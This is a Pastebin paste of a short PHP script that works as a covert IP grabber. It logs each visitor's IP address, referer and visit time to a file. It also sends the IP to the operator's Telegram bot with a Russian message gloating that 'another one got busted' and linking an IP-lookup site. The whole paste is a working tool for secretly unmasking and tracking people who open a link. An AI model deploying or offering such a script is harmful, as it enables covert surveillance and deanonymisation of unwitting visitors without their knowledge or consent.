Advertisement
Guest User

ip tel

a guest
May 4th, 2016
1,093
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.68 KB | None | 0 0
  1. <?php
  2.  
  3. $ip = $_SERVER['REMOTE_ADDR'];
  4. $referer = $_SERVER['HTTP_REFERER'];
  5. $client = $_SERVER['HTTP_USER_AGENT'];
  6. $page = $_SERVER['REQUEST_URI'];
  7. $get_time = date("d.m.Y (H:i:s)", time());
  8.  
  9.  
  10. $text = "\n DATA: $get_time \n IP: $ip \n REFERER: $referer \n";
  11. $file = fopen('logs.txt', "a");
  12. fwrite($file, $text);
  13. fclose($file);
  14.  
  15. $text = "Спалился еще один! IP: $ip Пробить информацию IP адреса можете по ссылке: http://xseo.in/ipinfo";
  16.  
  17. $token = "YouBotToken";
  18. $chat_id = CHAT_ID_WITH_YOU;
  19. $url = "https://api.telegram.org/bot".$token."/SendMessage?chat_id=".$chat_id."&text=".$text;
  20. $f = fopen($url, "r", false);
  21. fclose($f);
  22. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement